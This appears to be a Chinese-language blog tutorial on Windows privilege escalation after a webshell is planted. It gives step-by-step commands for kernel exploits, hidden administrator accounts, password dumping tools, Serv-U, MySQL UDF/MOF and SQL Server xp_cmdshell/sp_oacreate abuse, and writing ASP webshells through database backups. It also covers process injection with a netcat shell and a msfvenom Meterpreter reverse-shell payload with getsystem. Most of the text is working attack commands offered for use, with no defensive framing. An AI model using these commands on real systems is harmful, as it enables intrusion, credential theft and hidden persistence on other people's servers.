windows权限提升概述
提权方式
操作系统漏洞提权
第三方服务提权
提权方式:操作系统漏洞提权
根据没有修补的补丁号码,到网上找利用程序,进行利用。
1.访问目标网站
2.拿到webshell:通过文件上传,SQL注入,代码执行等等
3.上传自己的cmd.exe(因为默认一般不让调用系统的cmd.exe)
4.查看服务器信息(网络信息,账号信息,systeminfo系统详细信息等等)
5.利用提权补丁对比工具,查看可以利用的poc(漏洞测试代码程序)
6.上传可用的提权程序进行提权
操作系统提权
3389远程登录
我们的目标是提权添加账号,并开启3389端口,进行端口转发,最后进行远程登录
首先通过命令查看3389
是否开启
netstat -anop tcp
首先访问目标网站
我们上传了一个大马,叫2012.asp
又因为window不允许我们执行系统自带的cmd,所以我们需要自己上传一个从cmd
之后我们使用自己上传的cmd执行命令
我们需要填写我们自己上传的cmd路径
,并勾选WScript.Shell
我们查询系统安装的补丁是什么
使用提权补丁对比工具来进行对比
我们就来使用第一个漏洞PR来进行提权
为了和提权之后做一个对比,我们先看一下提权之前我们有什么权限
查看权限
创建用户
net user zzp 123456 /add
发现不成功
后面我们开始使用pr.exe提权,注意后面执行的命令使用双引号包裹
C:\Inetpub\wwwroot\80--test\pr.exe "whoami"
可以发现我们已经是system
权限了
添加用户
C:\Inetpub\wwwroot\80--test\pr.exe "net user zzp 123456 /add"
查看用户,发现添加成功
为了更安全,我们选择添加一个隐藏用户作为后手
C:\Inetpub\wwwroot\80--test\pr.exe "net user zzp1$ 123456 /add"
正常的net user
,是看不见我们的隐藏用户,只能通过net user zzp1$
来进行查看
把我的zzp1$
添加到管理员组
C:\Inetpub\wwwroot\80--test\pr.exe "net localgroup administrators zzp1$ /add"
使用netstat -anop tcp
查看3309是否开启
没有开启,所以我们需要上传一个开启3309端口的exp
使用高权限运行exp
C:\Inetpub\wwwroot\80--test\pr.exe "C:\Inetpub\wwwroot\80--test\3389.exe "
再次查询3389
端口是否开启
但是我们会发现ping不同,也远程连接不上,因为我们需要进行端口转发
下面我们进行端口转发
读取原有用户密码
密文读取
首先我们上传读取密码的exp,wce_32.exe
使用cmd执行,会输出密文状态下的密码
明文读取
首先上传exp GetPassword_x32.exe
使用cmd执行,执行成功
第三方服务提权
FTP提权
Serv-U 6版本提权
提权方式:第三方服务提权 ---FTP提权Serv-U 6版本
Serv-U是当前众多的FTP服务器软件之一。通过使用Serv-U,用户能够将任何一台PC设置成一个FTP服务器,这样,用户或其他使用者就能够使用FTP协议,通过在同一网络上的任何一台PC与FTP服务器连接,进行文件或目录的复制,移动,创建,和删除等。
确保服务器的FTP服务已开启
扫描43958
是否开启 因为Serv-U的端口是43958
获取Serv-U超管密码
获取Serv-U的超管账号,正常情况下超管账号密码是固定的,可以直接提权。如果被修改,需要下载ServUAdmin.exe程序,这个超管账号在这个程序中,,需要读取十六进制进行获取。使用C32Asm.exe软件读取。其他用户账号在:ServUDaemon.ini这个文件中
可以使用我们的大马
,也可以通过webshell
使用菜刀
蚁剑
通过C32Asm软件
读取超管密码,一般来说超管的账号名是不变的都叫LocalAdministrator
,后面跟着的就是密码
进入大马
选择ASP提权功能,其中cmd /c
为cmd的命令,执行完立即关闭cmd窗口
命令如下
cmd /c net user zzp$ 123456 /add & net localgroup administrators zzp$ /add
用户存在,且在管理员组,但是咱们只能在管理员组,因为咱们是利用FTP服务启动的权限,咱们使用管理员启动的服务所以说只能在管理员组
MYSQL提权
UDF
注意:失败场景
1.是否有权限导出udf.dll到plugin目录没有权限解决办法:
下载查看:my.ini配置中是否允许你导出到其他目录?
不允许就添加: secure-file-priv="属性在上传覆盖原有文件
2.如果mysql/lib/plugin不可写(当前web用户无法在这个目录创建文件)目前不太好解决
首先我们要使用手段上传一个webshell上去,使用蚁剑连接,上传我们的大马
连接大马,登录,密码的话一般来说,网站的目录基本都会有配置文件,只要需要与数据库交互,就需要在配置文件中储存数据库密码,我们们的数据库密码就从这里获得
进入后是这样的页面
首先查看我们的数据库版本,来选择我们的udf.dll文件上传的路径
查看lib
目录下有没有plugin
文件夹
在大马中选择导出udf
使用SQL语句创建功能函数,创建的函数存放在mysql数据库-->func表中5.使用sql语句创建功能函数,创建的函数存放在mysql数据库->func表中
执行mysql语句调用新创建的函数
也可以自定以sql语句用来执行
MOF
MOF文件
托管对象格式(MOF)文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。
提权原理
MOF文件每五秒就会执行一次,而且是系统权限,我们通过mysql使用load_file和into dumpfile将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
MOF提权的条件要求十分严苛:
1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.设置my.ini配置文件: secure-file-priv=''
上传脚本文件
1 .将上面的脚本上传到有读写权限的目录下:这里我们注意,网站要运行在服务器c盘下
这里我上传到C:/phpstudy/www/ 下
mysql.mof文件代码如下
执行sql语句
然后再通过sql语句写入:
select load_file('C:/phpstudy/www/mysql.mof') into dumpfile'c:/windows/system32/wbem/mof/nullevt.mof'
这里执行sql语句,我们选择使用我们上传的dama.php
添加成功
Msserver(Sqlserver)提权
xp_cmdshell
xp_cmdshell是sqlserver一种系统存储过程,利用这个我们可以在sql脚本中运行cmd命令,并返回相应的输出结果。
1.得找到数据库的账号密码,在网站文件中找,常用文件web.config ,不一定是这个配置文件,得看开发者会怎么去命名文件。
利用我们上传的大马sql.aspx进行数据库连接
server=localhost;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
填写信息连接数据库
我们执行提权,但是发现被阻止了
3.利用xp_cmdshell执行系统命令,但是默认情况下此功能是关闭的,所以当我们执行时,提示阻止了
所以我们要去开启这个服务
此存储过程在SQLserver2000中默认开启,2005本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure将其开启。
开启xp_cmdshell代码
sp_configure 'show advanced options',1;reconfigure;sp_configure 'xp_cmdshell',1;reconfigure
开启成功
Exec master.dbo.xp_cmdshell 'net user'
下面有一个报错无所谓,因为有隐藏用户显示不出来
选中的地方是可以随意修改的
执行whoami
可以看到我们为system用户
sp_oacreate
sp_oacreate创建OLE对象实例,可以实现调用系统权限的cmd.exe,执行命令
sp_oacreate创建OLE对象实例,此功能默认是关闭的,需要开启。
开启代码:
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
还是sql.aspx
那个大马
使用此功能创建一个木马bin.asp
到C盘下
Declare @s int;exec sp_oacreate 'wscript.shell,@s out;Exec SP_OAMethod @s,run',NULL,'cmd.exe/c echo^<%execute(request(char(35))%^>>c:\bin.asp';
沙盒提权
1.首先检查cmd_shell是否开启执行添加用户,阻止运行,需要开启
select * from openrowset('microsoft.jet.oledb.4.0', ;database=c:(windows\system32\ias\ias.mdb', selectshell("cmd.exe /c net user test10 1234/add")')
SQL Server阻止了对组件"Ad Hoc Distributed Queres'的 STATEMENTOpenRowsetOpenDatasource'的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'Ad Hoc Distributed Queres'。有关启用'Ad Hoc Distibuted Queries'的详细信息,请参阅SQL Server联机
丛书中的"外围应用配置器"。
2.第二步开启'OPENROWSET':
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure'Ad Hoc Distributed Queries',1;RECONFIGURE;
3.添加用户,执行成功
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb', 'select shell("cmd.exe /c net user testzzp 123456 /add")')
差异备份提权
alter database test set RECOVERY FULL--
backup log test to disk='C:/Inetpub/wwwroot/80--test/1.bak' with init
create table tt(a text)
insert into tt(a) values('<%eval request("abc") %>')
backup log test to disk='C:/Inetpub/wwwroot/80--test/vvv.asp'
drop table tt
一次输入下列代码
进程注入
https://www.tarasco.org/security/Process_Injector/index.html
进程注入提权?
如果能向特定的进程中注入代码(shellocde)
此时注入的代码在执行时会自动以该进程的所有者的权限来运行
使用phpstudy以系统服务开启httpd服务,他会以管理员身份运行
运行病毒程序,-p设置pid 后面跟上可以接收的程序cmd.exe,最后为端口
之后我们使用kali的nc进行正向连接
可以看到我的受害机是administrator权限,而我的nc反弹shell为system
使用MSF提权
第一种方法
首先需要我们可以使用蚁剑连接到对方的Windows,这里我们选择上传一个一句话木马,使用蚁剑连接
切换到kali使用msf生成shell.exe木马
使用msfvenom生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.140 LPORT=6666 -f exe >shell.exe
进入msf控制台
msfconsole
使用监听模块
use exploit/multi/handler
将模块的监听模式配置为反向windows小马监听
set payload windows/meterpreter/reverse_tcp
设置本机地址
set lhost 192.168.31.13
设置本机端口
set lport 6666
开始监听
run
将木马放到受害机执行
shell.exe
msf返回监听成功的视图
background退回到msf控制台视图
use post/multi/recon/local_exploit_suggester使用漏洞检测模块
set session 1设置漏洞检测的会话id
use exploit/xxx/xxx/xxx/xxx 使用某个绿色的可用的漏洞利用模块
options 查看该漏洞利用模块的参数,yes代表必须项,no代表可填项,将没有值的yes项填完整 set xxxxx
run 运行该漏洞利用模块,成功则返回一个 meterpreter 视图
getuid 查看当前是否提权成功
run运行漏洞检测模块
有一点需要特别注意LPORT需要和你msf监听的端口一样
第二种方法
MSF自带一个全自动提权,操作步骤是
监听成功返回视图,输入background返回控制台试图
输入sessions,查看你监听的时session 几
输入sessions 1切换
输入getsystem,执行MSF自动提权的工具
再次查看getuid
返回结果为NT AUTHORITY\SYSTEM
Views: 9
Comments NOTHING